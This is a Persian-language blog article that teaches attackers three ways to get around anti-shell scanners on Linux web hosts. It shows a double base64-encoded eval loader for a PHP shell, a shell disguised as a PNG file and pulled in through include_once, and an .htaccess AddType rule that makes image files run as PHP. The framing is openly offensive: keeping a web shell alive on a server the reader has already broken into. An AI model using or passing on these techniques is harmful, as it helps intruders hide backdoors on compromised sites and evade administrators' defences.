چگونه آنتی شل سرورهای لینوکسی بایپس می شوند؟

تالار گفتگو زوم تر ورود به تالار گفتگو زوم تر

چگونه آنتی شل سرورهای لینوکسی بایپس می شوند؟

یکی از دغدغه هکرها برای نفوذ به یک وبسایت عبور از سد انتی شل ها هست، به عنوان مثال هکر زمان زیادی رو سعی میکنه تا از یک سرور دسترسی بگیره و وقتی تصمیم به اجرای شل خودش داره با خطای Not Found مواجه میشه!! که ناشی از پاک شدن شل خود توسط آنتی شل سرور هست. در صورتی که ادمین اون سرور یکمی بیشتر روی امنیتش کار کرده باشه، anti shell رو طوری تنظیم میکنه تا به محض شناسایی شل در اون اکانت، حساب کاربری به حالت تعلیق در بیاد یا به اصطلاح suspend بشه !

ما در این مقاله سه روش رایج بایپس anti shell رو مطرح می کنیم.

روش اول برای عبور از محدودیت انتی شل ها

این روش رو خودم تست کردم و نتیجه گرفتم. در این روش فایل PHP که دارای کدهای مخرب یا همون shell script هست استفاده میشه.

برای مثال (!) فرض کنید ما یه فایل php داریم که داخل آن کد مخرب هست.

<?php
echo 'kaliboys.com';
?>

بازم میگم این یه مثاله وگرنه انتی شل به همچین فایلی گیر نمیده…

خب ما میایم کد های داخل تگ php رو دو بار با الگوریتم base64 انکود می کنیم که برای اینکار میتونید از این سایت استفاده کنید. در نتیجه با دوبار انکود کردن عبارت echo ‘kaliboys.com‘; به شکل زیر درمیاد:

WldOb2J5QW5hMkZzYVdKdmVYTXVZMjl0SnpzPQ==

خب، حالا اگه دوباره با الگوریتم base64، دو بار بخوایم کدهای خودمون رو دیکد کنیم، مجددا به این عبارت میرسیم.

echo 'kaliboys.com';

درنهایت درون کد زیر به جای عبارت موجود در متغیر $code میایم عبارت انکود شده خودمون رو درون تک کوتیشن ( ‘ ‘ ) قرار میدیم.

<?php
$code="WldOb2J5QW5hMkZzYVdKdmVYTXVZMjl0SnpzPQ==";
$irh=base64_decode('JGlyaD1iYXNlNjRfZGVjb2RlKCdZbU Z6WlRZMFgyUmxZMjlrWlE9PScpOy=');
eval($irh);
 eval($irh($irh("$code")));
 ?>

تمام! تنها کاری که باید بکنید اینه که فایلی رو که انکود کردیم رو اجرا کنیم!

به همین راحتی anti shell بایپس شد!

معایب این روش

در صورتی که تابع base64_decode در تنظیمات php سرور غیرفعال باشه این روش جوابگو نیست! اما این مسئله در سرور های اشتراکی کم پیش میاد که ادمین اون سرور بخواد این تابع رو غیرفعال کنه. چون یک سری توابع دیگه با بسته شدن این تابع از کار می افتن!

برای مثال سرویس مدیریت ایمیل Round Cube در صورت بسته بودن این تابع قسمت Loginاش دچار مشکل میشه. پس این روش در سرورهای اشتراکی در اکثر مواقع جوابگو هست و در سرورهای اختصاصی بازم بستگی به ادمین اون سرور داره که با توجه به نیاز خودش میتونه این تابع رو فعال یا غیرفعال کنه و دلیلش هم واضح هست! چون نهایتش یک یا دو تا سایت روی سرور اختصاصی میزبانی میشن.

روش دوم برای عبور از محدودیت انتی شل ها

1) شل خودمون رو به وسیله الگوریتم base64 انکود می کنیم.

2) شل رو به فرمت png تغییر میدیم.

3) یک فایل inc.php میسازیم و کد زیر رو داخلش قرار میدیم. (نامگذاری فایل ها اختیاریه! و حتما نباید inc.php باشه و میتونه هر چیز دیگه ای باشه)

<?php include_once("shell.png"); ?>

تذکر : به جای shell.png اسم فایل شل موردنظر خودتون رو بنویسید.

4) ابتدا فایل شل و بعد از اون فایل inc.php رو آپلود میکنیم.

5) حالا با فراخوانی فایل inc.php ،شل اجرا میشه.

روش سوم برای عبور از محدودیت انتی شل ها

این روش ساده ترین روش بایپس هست. بعضی مواقع می بینید که سرور اجازه اجرای فایل php رو نمیده، خب شما باید به rule رو براش تعریف کنید که توی اون دایرکتوری که هستید شل شما فایلتون که با فرمت عکس باشه رو با کامپایر php اجرا کنه.

1) یک فایل htaccess. می سازیم و این کد رو داخلش قرار میدیم.

AddType application/x-httpd-php png

2) شل رو به فرمت png تبدیل میکنیم.

3) در قدم آخر فایل htaccess رو آپلود کنید و بعدش شل خودتون که با فرمت png ذخیره کردید رو آپلود کنید.

4) شل خودتون رو فراخوانی کنید، میبینید که شل اجرا میشه و آنتی شل بایپس شد!

تذکر : اگه فرمت شل شما jpg باشه، باید توی فایل .htaccess به جای png ،فرمت jpg رو قرار بدید. در نتیجه فرمت داخل فایل htaccess باید با فرمت شل شما یکی باشه!(به این نکته توجه داشته باشید)

نکته : میتونید از این طریق شل خودتون رو با فرمت های دیگه ای مثل jpg,bmp,gif,xml هم اجرا کنید!

نوشته های مشابه

دیدگاهتان را بنویسید

دکمه بازگشت به بالا